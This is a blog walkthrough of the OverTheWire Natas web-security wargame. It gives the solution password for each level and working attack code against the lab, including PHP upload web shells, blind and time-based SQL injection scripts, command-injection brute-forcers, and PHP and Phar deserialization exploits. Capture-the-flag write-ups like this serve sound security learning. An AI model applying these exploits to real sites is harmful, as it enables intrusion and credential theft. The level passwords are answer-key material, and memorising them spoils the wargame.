Overthewire Natas Walkthrough for Beginners

The Raw BitThe Raw Bit
19 min read

Level 0 - Level 1:

  • Looking at the source of the page, it has the password for the next level.

πŸ”’ g9D9cREhslqBKtcA2uocGHPfMZVzeFK6

Level 1 - Level 2:

  • The level was blocking right click but not the keyboard shortcut.

  • Viewing the html gives the password for the next level.

      πŸ”’ h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7
    

Level 2 - Level 3:

  • Web page shows nothing on the page.

  • Upon inspecting the element, an image was fetched into the website.

  • going into the /files endpoint shows directory listing.

  • The users.txt has the password for the next level.

      πŸ”’ G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
    

Level 3 - Level 4:

  • This hints towards the robots.txt

πŸ”’ tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

Level 4 - Level 5:

  • This hints towards the Referer header.

πŸ”’ Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD

Level 5 - Level 6:

  • The application says not logged in.

  • This message hints towards the cookie and looking into it shows a boolean value for loggedin key.

  • Changing the value to 1 solves the level.

πŸ”’ fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR

Level 6 - Level 7:

  • The application was asking for a secret and returning the password if the provided secret was correct.

  • includes/secret.inc was included, so I tried to get the file directly.

  • This reveals the secret FOEIUWGHFEEUHOFUOIU which gives the password for the next level.

πŸ”’ jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

Level 7 - Level 8:

  • The application was fetching the pages from query parameter page .

  • Querying the /etc/natas_webpass/natas8 in the page parameter fetches the contents of the file revealing the password for the next level.

πŸ”’ a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

Level 8 - Level 9:

  • The input is first passed to the encodeSecret function and then compared with encodedSecret.

  • So reversing the encodedSecret hex2textβ†’String reverse β†’ base64 decode.

  • Passing the decoded string as secret reveals the password for the next level.

πŸ”’ Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

Level 9 - Level 10:

  • The application is inserting the input key directly into the command, so command injection is possible.

  • Since the password is stored in /etc/natas_webpass/natas10, the password can be read.

πŸ”’ D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

Level 10 - Level 11:

  • Here some characters is being filtered before passing it through the grep command.

  • As I can control the file to read before the dictionary.txt.

πŸ”’ 1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

Level 11 - Level 12:

  • The application has cookie protected with XOR.

  • The application sets the cookie with saveData function which json-encode β†’ xor-encrypt β†’ base64 encode the $defaultdata.

  • When a request is submitted, it decodes the cookie value by reversing the process and shows password if showpassword is set to yes.

  • The xor_encrypt function is responsible for encrypting the cookie where key is hidden.

  • The key property of XOR operation is that, the XOR of same thing is 0. Using this:

    • defaultdata XOR key β‡’ cookie

    • cookie XOR defaultdata β‡’ defaultdata XOR key XOR defaultdata β‡’ key

    <?php 
    $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
    function xor_encrypt_rev($data) {
        $key = base64_decode("MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qeX18bjY=");
        $text = json_encode($data);
        $outText = '';

        // Iterate through each character
        for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
        }

        return $outText.PHP_EOL;
    }
    echo xor_encrypt_rev($defaultdata);

    ?>

  • The key is KNHL.

  • Using this key to create new cookie value with showpassword set to yes.

$required = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = 'KNHL';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}
echo base64_encode(xor_encrypt(json_encode($required))).PHP_EOL;

πŸ”’ YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

Level 12 - Level 13:

  • The application has a image upload feature which uploads file with a random generated string as filename.

  • Upon close inspection of the code, there exist two parameters in the request filename and uploadedfile.

  • The extension for the uploadedfile is set from the extension of filename parameter.

  • The general workflow of the application is:

    1. It validates if filename exist in request.

    2. The filename is passed to makeRandomPathFromFilename($dir, $fn) with dir set to uploads.

    3. The function extracts extension from the filename and send it to getRandomPath function which returns a random filename for the uploadedfile with the same extension as filename.

  • If a PHP file is uploaded with code to read the password from /etc/natas_webpass/natas13 and filename extension changed to .php , the file is executed when getting the file.

<?php
$myfile = fopen("/etc/natas_webpass/natas13", "r") or die("Unable to open file!");
echo fread($myfile,filesize("/etc/natas_webpass/natas13"));
fclose($myfile);
?>

πŸ”’ lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

Level 13 - Level 14:

  • The application restricts the file type of the uploaded image.

  • The exif_image type checks for initial bytes to determine if the file is an image.

  • Some magic bytes of JPG can be added to a PHP file to bypass the restriction.

      fh = open('natas13.php', 'wb')
      fh.write(b'\xFF\xD8\xFF\xE0' + b'<?php system("cat /etc/natas_webpass/natas14"); ?>')
      fh.close()
    
    • This results in a file natas13.php with following content.

        ÿØÿà<?php system("cat /etc/natas_webpass/natas14"); ?>
      
  • Now uploading the file in the application it passes the file-type check and when visited the link shows the password for the next level.

      πŸ”’ qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP
    

Level 14 - Level 15:

  • The application has a login form asking for username and password.

  • Also the value of username and password is directly embedded into the SQL query without sanitation.

  • When tried the ' or '1'='1 as payload, it says Access Denied.

  • The application was checking for debug parameter and echoing the query that is executed.

  • The query had double quotes instead of single, so changing the payload to " or "1"="1 executed successfully and gives the password for the next level.

πŸ”’ TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB

Level 15 - Level 16:

  • The application checks if a user exist in the database

  • Since the username is directly embedded into the SQL query, password can be queried and brute-forced.

  • Writing a python script to brute-force the password.

      import requests
    
      url = "http://natas15.natas.labs.overthewire.org/index.php"
      headers = {"Authorization": "Basic bmF0YXMxNTpUVGthSTdBV0c0aURFUnp0QmNFeUtWN2tSWEgxRVpSQg=="}
      known_characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
      password = ""
    
      while True:
          found = False
          for char in known_characters:
              print("Checking",char) #like binary compares the password in case sensitive form.
              payload = 'natas16" and password like binary"' + password + char + '%"-- -"'
              data = {"username": payload}
              res = requests.post(url=url, headers=headers, data=data)
              if "This user exists" in res.text:
                  password += char
                  found = True
                  print("Current cracked:",password)
                  break
    
          if not found:
              break
    
      print("Cracked password:", password)
    

πŸ”’ TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V

Level 16 - Level 17:

  • The application filters special characters which prevents general command injection vulnerability.

  • However, it is not filtering the $() which can be used to inject some command.

  • The password can be brute-forced character by character using grep command inside $() operator.

import requests

base_url = "http://natas16.natas.labs.overthewire.org/"
headers = {"Authorization": "Basic bmF0YXMxNjpUUkQ3aVpyZDVnQVRqajlQa1BFdWFPbGZFakhxajMyVg=="}
known_characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
password = 'XkE'
while True:
    found = False
    for char in known_characters:
        print("Checking: "+char)
        payload = '$(grep ^'+password+char+' /etc/natas_webpass/natas17)hellos'
        res = requests.get(url=base_url+"?needle="+payload, headers=headers)
        if "hellos" not in res.text:
            password += char
            found = True
            print("Current cracked:",password)
            break

    if not found:
        break

print("Cracked password:", password)
  • The main idea is to grep for initial sequence of password from /etc/natas_webpass/natas17 one by one and checking the response for validating the password.

    • If the grep inside $() returns, it appends the password with the word hellos and then search for the combined word in dictionary.txt file.This returns empty result.

    • If the initial do not match in the natas17 password file the output is empty which is concatenated with hellos which returns non empty result when searched in dictionary.txt

πŸ”’ XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd

Level 17 - Level 18:

  • The application do not show any response for existing and non existing user.

  • This means normal password brute-force with SQL injection is not possible.

  • However, Time based Blind SQL injection is possible.

import requests

base_url = "http://natas17.natas.labs.overthewire.org/index.php"
headers = {"Authorization": "Basic bmF0YXMxNzpYa0V1Q2hFMFNibktCdkgxUlU3a3NJYjl1dUxtSTdzZA=="}
known_characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = ''
while True:
    found = False
    for char in known_characters:
        print("Checking: " + char)
        payload = 'natas18" && (Select case when password like binary "'+password+char+'%"  then sleep(5) end from users where username = "natas18") -- -"'
        data = {"username": payload}
        res = requests.post(url=base_url, headers=headers, data=data)
        if res.elapsed.total_seconds() > 4:
            password += char
            found = True
            print("Current cracked:", password)
            break

    if not found:
        break

print("Cracked password:", password)

πŸ”’ 8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq

Level 18 - Level 19:

  • The application is checking if the user is admin and then echoing the password for the next level.

  • When logged in with any random user, the application creates a cookie PHPSESSID with a integer value.

  • The application is setting a random value from 1 - 640.

  • The cookie value can be brute-forced as it is sequential.

  • PHPSESSID 119 showed the password for the next level.

πŸ”’ 8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s

Level 19 - Level 20:

  • The application has same logic as the previous level, the only difference is the PHPSESSID is not sequential.

  • When I see the cookie it seems like HEX value.

  • The application might be using the same number range from 1 - 640 but is hex encoding it appending -admin in the sequence.

import requests
import binascii
base_url = "http://natas19.natas.labs.overthewire.org/index.php"
headers = {"Authorization": "Basic bmF0YXMxOTo4TE1KRWhLRmJNS0lMMm14UUtqdjBhRURkazd6cFQwcw=="}
for i in range(1, 641):
    cookie = {"PHPSESSID": binascii.hexlify(bytes(f'{i}-admin', 'utf-8')).decode()}
    res = requests.get(url=base_url, headers=headers, cookies=cookie)
    if "Login as an admin" not in res.text:
        print(res.text)
                break

πŸ”’ guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH

Level 20 - Level 21:

  • The application is maintaining sessions on their own storing the variables in a file.

  • mywrite function is writing the name input into the session variable name without sanitation.

  • myread function reads the session file, reads it line by line and create session variables based on it.

  • If an additional variable is sent with newline character it gets add into the file. When reading the file the characters after \n is treated as new variable and saved to _SESSION.

πŸ”’ 89OWrTkGmiLZLv12JY4tLj2c4FW0xn56

Level 21 - Level 22:

  • Two applications are collocated. This means both application share same session cookie.

http://natas21.natas.labs.overthewire.org/

http://natas21-experimenter.natas.labs.overthewire.org/index.php

  • The 2nd application has a form to style the text. And the changes persists on reload. So, the variables are stored in the session.

  • Upon inspecting the PHP code, it is saving every form value in the current session.

  • It will store any key value pair in the session, So injecting the admin value when submitting the form.

  • Now use the same cookie in 1st Application and reload the page. This will give the password for the next level.

πŸ”’ 91awVM9oDiUGm33JdzM7RVLBS8bz9n0s

Level 22 - Level 23:

  • The application is checking for revelio parameter and showing the password if exist.

  • But the application is checking for admin access and redirecting to / if the user is not admin.

  • However the password for next level is also returned but the browser redirects the user to / without showing the response.

  • This can be bypassed with Burpsuite.

πŸ”’ qjA8cOoKFTzJhtV0Fzvt92fgvxVnVRBj

Level 23 - Level 24:

  • The application asks for a password and gives the password for next level if it meets the requirements.

  • It checks if iloveyou exists in password and if the password value is greater than 10 .

  • This can be exploited due to PHP type juggling when 5000iloveyou is given as input as it passes both the conditions.

    1. The password contains the text iloveyou in it.

    2. Due to PHP type juggling, it converts the input to integer value i.e. 5000 and compares it with 10.

  • This solves the problem and shows the password for the next level.

πŸ”’ 0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r

Level 24 - Level 25:

  • This level also asks for password and compares with the secret to show the password for next level.

  • The strcmp function is vulnerable to type-juggling.

  • Instead of string if we provide an array, the if condition ends up as true and show the password for the next level.

πŸ”’ O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx

Level 25 - Level 26:

  • The application has a simple quote paragraph and an option to choose the language which is sent as parameter lang .

  • The language is being included as file, so File Inclusion might be possible.

  • Looking at the logRequest function, it includes User-Agent into the log which is controlled by us. Also shows the location of the log file with its name.

  • If we can insert PHP in the log file and include the log file exploiting the replace() function, we can get the password for the next level.

  • Since log is created when it do not pass the test, Sending PHP code with lang=natas_webpass and User-Agent with valid PHP code.

  • This payload works because replace() function replaces the ../ character once and not recursively.
πŸ”’ 8A506rfIAXbKKk68yJeuTuRq4UfcK70k

Level 26 - Level 27:

  • The application asks for coordinates and plots them in a image.

  • Every input is stored in drawing cookie and is plotted along with the past inputs.

  • Looking at the source code, it is deserializing the drawing cookie value.

  • The application also has a Logger class which is responsible for logging.

  • The interesting function is the __destruct() and the class attribute exitMsg and logFile.

  • For the exploitation I created a malicious serialized object as:

    
      <?php
    
          class Logger{
              private $logFile;
              private $initMsg;
              private $exitMsg;
    
              function __construct($file){
                  // initialise variables
                  $this->initMsg="#--session started--#\n";
                  $this->exitMsg="<?php system('cat /etc/natas_webpass/natas27'); ?>";
                  $this->logFile = "img/natas26_exploit.php";
              }
    
          }
          $logger = new Logger("temp");
          echo base64_encode(serialize($logger)).PHP_EOL;
      ?>
    

    1. When the output of the code is set as drawing cookie, it is passed to the application when the page is reloaded.

    2. When the cookie is deserialized, instance of the malicious object is created with:

      • logFile β‡’ img/natas26_exploit.php

      • exitMsg β‡’ <?php system('cat /etc/natas_webpass/natas27'); ?>

    3. When the object is destroyed the __destruct function is invoked which creates the logFile and inserts exitMsg into it.

    4. This means natas26_exploit.php file is created with the PHP code to read the contents of /etc/natas_webpass/natas27 .

    5. Visiting the exploit page, gives the password for the next level.

Relevant Article

πŸ”’ PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3

Level 27 - Level 28:

  • The application shows a login form, it the user exist it checks for credentials and display them back. If the user does not exist it creates a new one.

  • It is preventing SQL injection.

  • The interesting part is the database schema where the length of username and password is 64.

  • However, the limit is not verified when creating a new user.The function is preventing username with additional spaces.

    Source code with the main flow:

  • The main idea for the exploit is the SQL Truncation Exploit. This means the inputs longer than 64 characters will be truncated or deleted.

  • Using this along with createUser function trim function.

    1. Creating a new user with username natas28 (7 characters ) + 57 space + any character. = 65 character.

    2. This will prevent the trim() function to shorten the username.

    3. As the database can only store 64 characters, new user will be created with the username natas28 + 57 space = 64

    4. In My_SQL database both natas28 and natas28+ 57 space is treated as same when queried by the username.

    5. However the password is different for the two entries.

  • Create a user with 65 character payload and login with 64 character user will reveal the password for the other natas28 user.

  • This is because of the dumpData function which iterated over the user and prints their data.

    SQL Truncation Exploit

πŸ”’ skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4

Level 28 - Level 29:

  • The application is searching for jokes in database containing the word we search for.

  • It is sending request to search.php with an encrypted query

    http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKI2nqdSIqg8bRBxCLXlTEXrDuHHBxEg4a0XNNtno9y9GVRSbu6ISPYnZVBfqJ%2FOns%3D

  • It seems like base64 encoded, but is encrypted.

  • When normal text is sent as query parameter, it shows error related to padding, which hints towards the Block cipher.

  • When valid search query are sent, there are some similar blocks for each search.

  • This hints toward the ECB encryption. The initial encrypted block are some text that are pre-pended to our search input. The encrypted query might be formed by this:

    • Default Prepended Text + Our Input + Padding to match the predefined block size
  • Now checking for block size by increasing the input size.

  • Here the Encrypted query length is increased by 32 bytes. The length remain same for 16 characters in input length .

  • The jump from 160 to 192 at input length 13 is due to the pre-pended characters to our input.

    • Input Block size = 16 characters

    • Encrypted Block size = 32 bytes.

  • Now lets see if we can get encrypted block to same sequence of 32 bytes for consecutive block.

  • The first two blocks are same for all request. After the input of 10 a , the 3rd block also starts to repeat. So it contains the prepended 6 characters + 10 'a's .

    • At input length 9 there is 1 character padding at the end

    • After 10 character input a new block is added with one a and 15 padding character.

  • If we can fill the remaining blocks with with our input, then next block of bytes will also start to repeat.

    3rd block starts to repeat which is filled with a:

  • Now the repeating block b39038c28df79b65d26151df58f7eaa3 represents 16 a characters.

  • After next 16 character, next block also start to repeat.

    2 blocks with a s.

  • If we try to inject SQL query in the application it is escaped and is searched as normal text.

    Response for searching ' :

  • To verify it we can send crafted input so that the escaping increases the blocks of bytes in the encrypted query.

    Verifying escaping of ' :

    • When 12 a are sent the size is 160. But when 11 a and 1 ' is sent the size is 192. So this is adding \ character before the ' character.
  • Our input is divided into blocks and then individual block is encrypted separately due to use of ECB encryption. The escaping is done when input is supplied. The application work flow is like.

    • input β‡’ escaping SQL-i characters β‡’ encrypt individual block β‡’ combine encrypted blocks β‡’ encrypted query

    • encrypted query β‡’ decryption block by block β‡’ combine the decrypted string β‡’ run the SQL query to fetch the joke.

  • We assume ' is converted to \' and then encrypted.

  • If we can insert the ' character at the end of the block \ is inserted at the end of the block and the ' character is pushed to the next block.

  • Since individual blocks are decrypted individually and then the resulting text is combined, we replace the encrypted byte block with \ at the end with encrypted byte block with normal character at the end.

  • This will result in text with no escaping of the ' character and can execute the arbitrary SQL injection code which can be used to obtain the password for the next level.

  • We know in the third block there is space for 10 characters, So putting 9 a and ' will replace ' with \ and push ' to the next block.

  • If we replace the 3rd block with encrypted byte block with xxxxxxaaaaaaaaaa (10 a ), the encrypted query is a valid one but without a escaping \ .

    crafted malicious encrypted query with SQLi:

  • URL encode the payload then provide to the search query to get the password for the next level.

πŸ”’ pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno

Level 29 - Level 30:

  • The application this time is not built with PHP but with Perl.

  • It has a drop down which includes some files with a query parameter file

  • Tried some path traversal payloads but did not work.

  • When tried to brute-force some characters and numbers 0 seems to send some less bytes.

  • When tried to do some command injection | character work but with a null byte %00 at the end.

  • So I tried to read the /etc/natas_webpass/natas30 but failed.

  • Tried to read the index.pl file which contains the main logic and it succeed. So, some thing must be filtered when reading the password file.

    Command injection to read the source code:

  • For this we can use the * feature of linux.

  • Using /etc/*_webpass/*30 reveals the password for the next level.

πŸ”’ Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X

Level 30 - Level 31:

  • This level has a login form with username and password written in PERL.

  • Looking at the source code, it was using quote function to restrict the SQL injection payload.

  • Searching in google about the SQL injection in Perl, came across a feature about param and quote function.

πŸ”’ AMZF14yknOn9Uc57uKB02jnYuhplYka3

Level 31 - Level 32:

  • The application has a file upload feature which accepts a .csv file and show it in a table.

  • Going through this video β†’ Link , shows a way to exploit the Perl code and execute the command.

  • The ARGV will enable the application to run the command specified at the URI.

πŸ”’ Yp5ffyfmEdjvTOwpN5HCvh7Ctgf9em3G

Level 32 - Level 33:

  • The application is same as the previous one but for getting the password we have to execute a binary present in the web root.

  • For this the contents of the web root is listed first.

  • It contains a file called getpassword so executing the file to get the password.

πŸ”’ APwWDD3fRAf6226sgBOBaSptGwvXwQhG

Level 33 - Level 34:

  • The application has a file upload feature to update firmware, which allows PHP file.

  • When tried to upload a php file, it is saved as PHPSESSID as file name. But going to the endpoint says 404 not found .

  • Tried changing the filename to .php , but did not work.

  • Looking at the source code, it has a Executor class which is responsible for handling the request.

  • It is validating the MD5 sum in the __destruct() function and executing the passthru() function which is similar to exec().

  • The MD5 with loose comparison hints towards the MD5-Hash Collision, but is difficult because of the size limitations of the file.

  • Another hint is towards the Deserialization due the passthru function present in the __destruct() function. However, the application do not have any unserialize() function.

  • Came across Phar Deserialization which can be used to solve this level.

  • For exploitation we create a malicious PHP file with code to read the password for the next level.

    
      <?php system('cat /etc/natas_webpass/natas34'); ?>
    
  • Then create a phar file with modified object of the Executor class.

      <?php
    
      class Executor{
          private $filename = "shell.php";
          private $signature = True;
          private $init = false;
      }
    
      $phar = new Phar('natas.phar');
      $phar->startBuffering();
      $phar->addFromString('test.txt', 'text');
      $phar->setStub('<?php __HALT_COMPILER(); ? >');
    
      $object = new Executor();
      $object->data = 'rips';
      $phar->setMetadata($object);
      $phar->stopBuffering();
    
      ?>
    
  • Executing the PHP script will create a .phar file which will be uploaded and referenced using the Stream Wrappers .

      php -d phar.readonly=false natas33.php
    
  • Now upload the files in the server changing the name of the files from session id to the respective name.

  • Then use the Stream Wrapper phar:// to reference the currently uploaded .phar file which contains the serialized object of the modified Executor class.

  • This will trigger in the deserialization of the object and trigger of the __destruct() function.

  • Due to loose comparison of the MD5 hash, the $signature in the modified object results the condition to be true and give the password for the next level

πŸ”’ F6Fcmavn8FgZgrAPOvoLudNr1GwQTaNG
0
Subscribe to my newsletter

Read articles from The Raw Bit directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

The Raw Bit
The Raw Bit